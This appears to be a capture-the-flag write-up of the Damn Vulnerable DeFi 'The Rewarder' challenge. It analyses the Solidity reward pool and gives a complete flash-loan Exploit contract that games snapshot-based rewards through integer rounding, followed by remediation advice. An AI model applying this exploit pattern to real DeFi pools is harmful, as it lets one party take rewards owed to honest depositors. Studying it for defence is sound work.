Challenge Link to heading
Today we’re going to take a look at The Rewarder challenge:
There’s a pool offering rewards in tokens every 5 days for those who deposit their DVT tokens into it. Alice, Bob, Charlie and David have already deposited some DVT tokens, and have won their rewards! You don’t have any DVT tokens. But in the upcoming round, you must claim most rewards for yourself. Oh, by the way, rumours say a new pool has just landed on mainnet. Isn’t it offering DVT tokens in flash loans?
Analysis Link to heading
Let’s explore the smart contracts! For this challenge we have 5 of them:
DamnValuableToken
– The ERC20 token deposited intoTheRewarderPool
by users (DVT aka the “liquidity token”).AccouningToken
– The ERC20 namedrToken
(rTKN). Used for internal accounting and snapshots. Pegged \( 1:1 \) with the “liquidity token” (DVT).RewardToken
– The ERC20 token in which rewards are issued (RWT).TheRewarderPool
– The pool offering rewards every \( 5 \) days.FlashLoanerPool
– Another pool, which allows us to get a flash loan in DVT. Has \( 1000000 \) (1 million) DVT’s in it.
Now, let’s review the setup code in TheRewarder.t.sol
test contract.
SetUp Link to heading
There are 2 constants:
uint256 internal constant TOKENS_IN_LENDER_POOL = 1_000_000e18;
uint256 internal constant USER_DEPOSIT = 100e18;
The first one is used to set initial token balance of the pool offering flash loans:
dvt.transfer(address(flashLoanerPool), TOKENS_IN_LENDER_POOL);
The second one is the amount of tokens each user deposits:
for (uint8 i; i < 4; i++) {
// Each user gets 100 DVT's
dvt.transfer(users[i], USER_DEPOSIT); // <--
// Approve spending of 100 DVT and make a deposit
vm.startPrank(users[i]);
dvt.approve(address(theRewarderPool), USER_DEPOSIT); // <--
theRewarderPool.deposit(USER_DEPOSIT); // <--
// Ensure that the pool's accounting token increased
assertEq(
theRewarderPool.accToken().balanceOf(users[i]),
USER_DEPOSIT
);
vm.stopPrank();
}
Initially there are \( 400 \) accounting tokens minted (\( 100 \) tokens for each user) and no rewards distributed:
assertEq(theRewarderPool.accToken().totalSupply(), USER_DEPOSIT * 4);
assertEq(theRewarderPool.rewardToken().totalSupply(), 0);
Then it advances the time \( 5 \) days (the minimum duration of round) so that depositors can get rewards:
vm.warp(block.timestamp + 5 days);
And calls the distributeRewards()
function:
for (uint8 i; i < 4; i++) {
vm.prank(users[i]);
theRewarderPool.distributeRewards(); // <--
assertEq(theRewarderPool.rewardToken().balanceOf(users[i]), 25e18);
}
assertEq(theRewarderPool.rewardToken().totalSupply(), 100e18);
It asserts that:
- Each depositor gets \( 25 \) reward tokens (RWT).
- The are \( 4 × 25 = 100 \) reward tokens (RWT) emitted.
It also cheks that we start with zero DVT tokens in balance:
assertEq(dvt.balanceOf(attacker), 0);
And that the 2 rounds have occurred so far:
assertEq(theRewarderPool.roundNumber(), 2);
Next, let’s go over the validation()
function.
Validation Link to heading
It asserts that only one round have taken place:
assertEq(theRewarderPool.roundNumber(), 3);
Then it ensures that users get negligible rewards this round:
for (uint8 i; i < 4; i++) {
vm.prank(users[i]);
theRewarderPool.distributeRewards();
uint256 rewardPerUser = theRewarderPool.rewardToken().balanceOf(users[i]);
uint256 delta = rewardPerUser - 25e18;
assertLt(delta, 1e16);
}
- It calls the
distributeRewards()
for each user. - Calculates the current round reward (
delta
). - Asserts that it is less than \( 0.01 \) RWT.
Finally, it checks that rewards have been issued:
assertGt(theRewarderPool.rewardToken().totalSupply(), 100e18);
And that the amount of rewards earned by attacker is really close to \( 100 \) tokens:
uint256 rewardAttacker = theRewarderPool.rewardToken().balanceOf(attacker);
uint256 deltaAttacker = 100e18 - rewardAttacker;
assertLt(deltaAttacker, 1e17);
The attacker finishes with zero DVT tokens in balance:
assertEq(dvt.balanceOf(attacker), 0);
Let’s take a look at the challenge contracts.
AccountingToken Link to heading
It inherits from the ERC20Snapshot and AccessControl:
contract AccountingToken is ERC20Snapshot, AccessControl { ... }
The ERC20Snapshot
is an ERC20
extension that lets you record
the total supply and balance of an account at the specific point
in time to retrieve later. The AccessControl
contract allows
to implement role-based access control. AccountingToken
uses
it to define 3 roles: minter, shapshot and burner:
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant SNAPSHOT_ROLE = keccak256("SNAPSHOT_ROLE");
bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE");
constructor() ERC20("rToken", "rTKN") {
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_setupRole(MINTER_ROLE, msg.sender);
_setupRole(SNAPSHOT_ROLE, msg.sender);
_setupRole(BURNER_ROLE, msg.sender);
}
It also has 3 corresponding external functions: mint
,
snapshot
and burn
.
The transfer
and approve
functionality of ERC20 is
“disabled”:
function _transfer(address, address, uint256) internal pure override {
revert NotImplemented();
}
function _approve(address, address, uint256) internal pure override {
revert NotImplemented();
}
RewardToken Link to heading
Defines the minter role and the corresponding function to mint reward tokens. It gives that minter role only to the contract creator:
// SPDX-License-Identifier: MIT
pragma solidity 0.8.12;
import {ERC20} from "openzeppelin-contracts/token/ERC20/ERC20.sol";
import {AccessControl} from "openzeppelin-contracts/access/AccessControl.sol";
/**
* @title RewardToken
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
* @dev A mintable ERC20 with 2 decimals to issue rewards
*/
contract RewardToken is ERC20, AccessControl {
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
error Forbidden();
constructor() ERC20("Reward Token", "RWT") {
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_setupRole(MINTER_ROLE, msg.sender);
}
function mint(address to, uint256 amount) external {
if (!hasRole(MINTER_ROLE, msg.sender)) revert Forbidden();
_mint(to, amount);
}
}
FlashLoanerPool Link to heading
Just a regular flash loan pool implementation we already
familiar with. We can use it to borrow some DVT’s by
implementing the receiveFlashLoan(uint256)
function in our
Exploit
contract:
contract FlashLoanerPool is ReentrancyGuard {
using Address for address;
DamnValuableToken public immutable liquidityToken;
error NotEnoughTokensInPool();
error FlashLoanHasNotBeenPaidBack();
error BorrowerMustBeAContract();
constructor(address liquidityTokenAddress) {
liquidityToken = DamnValuableToken(liquidityTokenAddress);
}
function flashLoan(uint256 amount) external nonReentrant {
uint256 balanceBefore = liquidityToken.balanceOf(address(this));
if (amount > balanceBefore) revert NotEnoughTokensInPool();
if (!msg.sender.isContract()) revert BorrowerMustBeAContract();
liquidityToken.transfer(msg.sender, amount);
msg.sender.functionCall(
abi.encodeWithSignature("receiveFlashLoan(uint256)", amount)
);
if (liquidityToken.balanceOf(address(this)) < balanceBefore)
revert FlashLoanHasNotBeenPaidBack();
}
}
TheRewarderPool Link to heading
Let’s examine public/external functions of this contract:
function deposit(uint256 amountToDeposit) external {
if (amountToDeposit == 0) revert MustDepositTokens();
accToken.mint(msg.sender, amountToDeposit); // <--
distributeRewards(); // <--
if (
!liquidityToken.transferFrom(
msg.sender,
address(this),
amountToDeposit
)
) revert TransferFail();
}
- Requires the deposit to be greater than zero.
- Mints an amount of rTKN’s equal to the amount of deposited DVT’s. These rTKN’s would be burned on withdrawal.
- Calls the
distributeRewards
, which creates a new snapshot of the deposited DVT’s for each round and distributes the rewards. - Transfers the
amountOfDeposit
of DVT tokens frommsg.sender
to this contract.
The withdraw
function does two things:
function withdraw(uint256 amountToWithdraw) external {
accToken.burn(msg.sender, amountToWithdraw);
if (!liquidityToken.transfer(msg.sender, amountToWithdraw))
revert TransferFail();
}
- Burns the
amountToWithdraw
rTKN tokens. - Transfers DVT tokens to the caller account.
Now, let’s review the most interesting function in this contract:
function distributeRewards() public returns (uint256) {
uint256 rewards = 0;
if (isNewRewardsRound()) {
_recordSnapshot();
}
uint256 totalDeposits = accToken.totalSupplyAt(
lastSnapshotIdForRewards
);
uint256 amountDeposited = accToken.balanceOfAt(
msg.sender,
lastSnapshotIdForRewards
);
if (amountDeposited > 0 && totalDeposits > 0) {
rewards = (amountDeposited * 100 * 10**18) / totalDeposits;
if (rewards > 0 && !_hasRetrievedReward(msg.sender)) {
rewardToken.mint(msg.sender, rewards);
lastRewardTimestamps[msg.sender] = block.timestamp;
}
}
return rewards;
}
It uses snapshots to calculate the rewards. Users get their rewards dependent on the amount deposited vs total deposits in the current round:
\( \dfrac{amountDeposited × 100 × 10^{18}}{totalDeposits × 10^{18}} \)
To get the most reward tokens in the next round we should deposit so many DVT’s that the rewards for other users will be negligible. If we take a flash loan and deposit \( 1000000 \) DVT’s then our share will be so big that other users will get \( 0 \) RWT’s due to integer division rounding.
We can calculate the amount of reward tokens we’ll get:
\( \dfrac{1000000 × 100 × 10^{18}}{(1000000 + 4 \times 100) × 10^{18}} = \dfrac{100000000}{1000400} ≈ 99.96 \)
Now let’s calculate the amount of RWT’s for each user who deposited \( 100 \) DVT’s:
\( \dfrac{100 × 100 × 10^{18}}{(1000000 + 4 \times 100) × 10^{18}} = \dfrac{10000}{1000400} = 0 \) (because of integer division)
Solution Link to heading
The deposit
function immediately distributes the rewards.
Hence we have to get ahead of everyone and be the first with our
deposit in a new round. The distributeRewards
uses the
snapshot to get the totalDeposits
so we can withdraw the
deposited DVT’s right away. Then we pay back the flash loan and
transfer all the rewards to the owner
(attacker):
contract Exploit is DSTest {
TheRewarderPool private immutable rewarder;
FlashLoanerPool private immutable flashLoaner;
DamnValuableToken private immutable dvt;
RewardToken private immutable rwt;
address private immutable owner;
constructor(TheRewarderPool _rewarder, FlashLoanerPool _flashLoaner) {
owner = msg.sender;
rewarder = _rewarder;
flashLoaner = _flashLoaner;
dvt = _rewarder.liquidityToken();
rwt = _rewarder.rewardToken();
}
function run() external {
uint256 poolBalance = dvt.balanceOf(address(flashLoaner));
flashLoaner.flashLoan(poolBalance);
}
function receiveFlashLoan(uint256 amount) external {
dvt.approve(address(rewarder), amount);
rewarder.deposit(amount);
rewarder.withdraw(amount);
dvt.transfer(address(flashLoaner), amount);
uint256 rewardBalance = rwt.balanceOf(address(this));
rwt.transfer(owner, rewardBalance);
}
}
We can use the vm.warp
to set the block.timestamp
:
function testExploit() public {
/** EXPLOIT START **/
// wait for the next round
vm.warp(block.timestamp + 5 days);
vm.startPrank(attacker);
new Exploit(theRewarderPool, flashLoanerPool).run();
vm.stopPrank();
/** EXPLOIT END **/
validation();
}
And we passed the challenge! The forge’s trace is too large to include it right here %)
Maybe this sequence diagram can help visualizing the interactions between contracts.
Remediation Link to heading
Get rid of snapshots and rounds Link to heading
Don’t distribute rewards right after the deposit. Implement something like Staking Rewards to reward users for staking their token instead of relying on snapshots and rounds.
Multiply before dividing Link to heading
Use the \( 10^{16} \) multiplier to fix the integer division rounding errors:
\( \dfrac{amountDeposited × 100 × 10^{36}}{totalDeposits × 10^{18}} \)
Now let’s calculate how much users would get if we used the above formula with multipliers:
\( \dfrac{100 × 100 × 10^{36}}{(1000000 + 4 \times 100) × 10^{18}} = \dfrac{10000 × 10^{18}}{1000400} = 9.9960016e+15 \)
This multiplier needs to be accounted for when working with the result in the future.
References Link to heading
- ERC20Snapshot – Extends an ERC20 token with a snapshot mechanism.
- AccessControl – Allows children to implement role-based access control mechanisms.
- Integer Division from Ethereum Smart Contract Best Practices.
- Solidity Design Patterns: Multiply before Dividing.
- Staking Rewards – A minimal example of a contract that rewards users for staking their token from Solidity by Example.
The solution/exploit code is here. This one was a bit trickier! Let’s see whats next – #6 Selfie.